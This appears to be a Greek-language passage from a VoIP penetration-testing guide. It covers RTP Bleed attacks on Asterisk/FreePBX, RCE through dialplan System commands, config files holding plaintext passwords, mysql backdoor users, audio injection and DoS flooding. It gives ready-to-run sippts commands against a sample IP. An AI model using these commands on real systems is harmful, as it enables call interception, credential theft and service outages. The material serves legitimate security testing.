Ο Asterisk και το FreePBX έχουν παραδοσιακά χρησιμοποιήσει τη ρύθμιση NAT=yes, η οποία επιτρέπει στην κυκλοφορία RTP να παρακάμπτει την πιστοποίηση, με δυνητικά αποτέλεσμα να μην υπάρχει ήχος ή να υπάρχει μονοδρόμιος ήχος στις κλήσεις.

Για περισσότερες πληροφορίες ανατρέξτε στο https://www.rtpbleed.com/

  • rtpbleed.py από το sippts: Ανιχνεύει την ευπάθεια RTP Bleed αποστέλλοντας ροές RTP

python3 rtpbleed.py -i 10.10.0.10
  • rtcpbleed.py από το sippts: Ανιχνεύει την ευπάθεια RTP Bleed αποστέλλοντας ροές RTP

python3 rtcpbleed.py -i 10.10.0.10
  • rtpbleedflood.py από το sippts: Εκμεταλλεύεται το ευπάθεια RTP Bleed αποστέλλοντας ροές RTP

python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
  • rtpbleedinject.py από το sippts: Εκμεταλλεύσου το ευπάθεια RTP Bleed αποστέλλοντας ροές RTP (από ένα αρχείο ήχου)

python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Στο Asterisk καταφέρνετε κάπως να μπορείτε να προσθέσετε κανόνες επέκτασης και να τους επαναφορτώσετε (για παράδειγμα, εκμεταλλευόμενοι ένα ευπάθεια στον εξυπηρετητή διαχείρισης ιστού), είναι δυνατόν να αποκτήσετε RCE χρησιμοποιώντας την εντολή System.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Υπάρχει ένας εντολή που ονομάζεται Shell που μπορεί να χρησιμοποιηθεί αντί της System για την εκτέλεση εντολών συστήματος αν χρειαστεί.

Εάν ο διακομιστής απαγορεύει τη χρήση ορισμένων χαρακτήρων στην εντολή System (όπως στο Elastix), ελέγξτε εάν ο διακομιστής ιστού επιτρέπει το δημιουργία αρχείων κάπως μέσα στο σύστημα (όπως στο Elastix ή trixbox) και χρησιμοποιήστε το για να δημιουργήσετε ένα backdoor script και στη συνέχεια χρησιμοποιήστε το System για να εκτελέσετε αυτό το script.

Ενδιαφέροντα τοπικά αρχεία και δικαιώματα

  • sip.conf -> Περιέχει τον κωδικό πρόσβασης των χρηστών SIP.

  • Εάν ο διακομιστής Asterisk λειτουργεί ως root, μπορείτε να παραβιάσετε τον root.

  • Ο χρήστης mysql root μπορεί να μην έχει κωδικό πρόσβασης.

  • Αυτό μπορεί να χρησιμοποιηθεί για τη δημιουργία ενός νέου χρήστη mysql ως backdoor.

  • FreePBX

  • amportal.conf -> Περιέχει τον κωδικό πρόσβασης του διαχειριστή του πίνακα ιστού (FreePBX)

  • FreePBX.conf -> Περιέχει τον κωδικό πρόσβασης του χρήστη FreePBXuser που χρησιμοποιείται για την πρόσβαση στη βάση δεδομένων

  • Αυτό μπορεί να χρησιμοποιηθεί για τη δημιουργία ενός νέου χρήστη mysql ως backdoor.

  • Elastix

  • Elastix.conf -> Περιέχει αρκετούς κωδικούς πρόσβασης σε καθαρό κείμενο, όπως ο κωδικός πρόσβασης του mysql root, ο κωδικός πρόσβασης του IMAPd, ο κωδικός πρόσβασης του διαχειριστή του ιστού

  • Πολλοί φάκελοι θα ανήκουν στον παραβιασμένο χρήστη του asterisk (εάν δεν λειτουργεί ως root). Αυτός ο χρήστης μπορεί να διαβάσει τα προηγούμενα αρχεία και επίσης ελέγχει τη διαμόρφωση, οπότε μπορεί να κάνει τον Asterisk να φορτώσει άλλα backdoored δυαδικά αρχεία κατά την εκτέλεση.

RTP Injection

Είναι δυνατόν να εισαχθεί ένα .wav σε συνομιλίες χρησιμοποιώντας εργαλεία όπως το rtpinsertsound (sudo apt install rtpinsertsound) και το rtpmixsound (sudo apt install rtpmixsound).

Ή μπορείτε να χρησιμοποιήσετε τα σενάρια από http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ για να σαρώσετε συνομιλίες (rtpscan.pl), να στείλετε ένα .wav σε μια συνομιλία (rtpsend.pl) και να εισάγετε θόρυβο σε μια συνομιλία (rtpflood.pl).

DoS

Υπάρχουν διάφοροι τρόποι για να προσπαθήσετε να προκαλέσετε DoS σε διακομιστές VoIP.

  • sipflood.py από το sippts: _SipFlood_ στέλνει απεριόριστα μηνύματα στον στόχο

  • python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v

  • IAXFlooder: DoS πρωτόκολλο IAX που χρησιμοποιείται από το Asterisk

  • inviteflood: Ένα εργαλείο για την εκτέλεση πλημμυρίσματος μηνυμάτων SIP/SDP INVITE μέσω UDP/IP.

  • rtpflood: Αποστολή αρκετών καλοσχηματισμένων πακέτων RTP. Απαιτείται να γνωρίζετε τις θύρες RTP που χρησιμοποιούνται (καταγράψτε πρώτα).

  • SIPp: Επιτρέπει την ανάλυση και τη δημιουργία κίνησης SIP. Έτσι μπορεί να χρησιμοποιηθεί επίσης για DoS.

  • SIPsak: Εργαλείο πολυεργαλείο SIP. Μπορεί επίσης να χρησιμοποιηθεί για την εκτέλεση επιθέσεων SIP.

  • Fuzzers: protos-sip, voiper.

  • sipsend.py από το sippts: Το SIPSend

Last updated